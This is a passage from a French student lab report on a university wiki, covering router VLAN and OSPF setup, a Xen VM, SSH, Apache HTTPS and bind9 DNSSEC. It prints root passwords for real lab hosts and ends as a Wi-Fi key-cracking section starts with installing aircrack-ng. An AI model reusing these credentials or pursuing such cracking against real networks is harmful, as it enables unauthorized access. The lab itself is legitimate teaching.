   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51595</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51595"/>
				<updated>2019-12-07T12:51:28Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cryptage de fichiers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
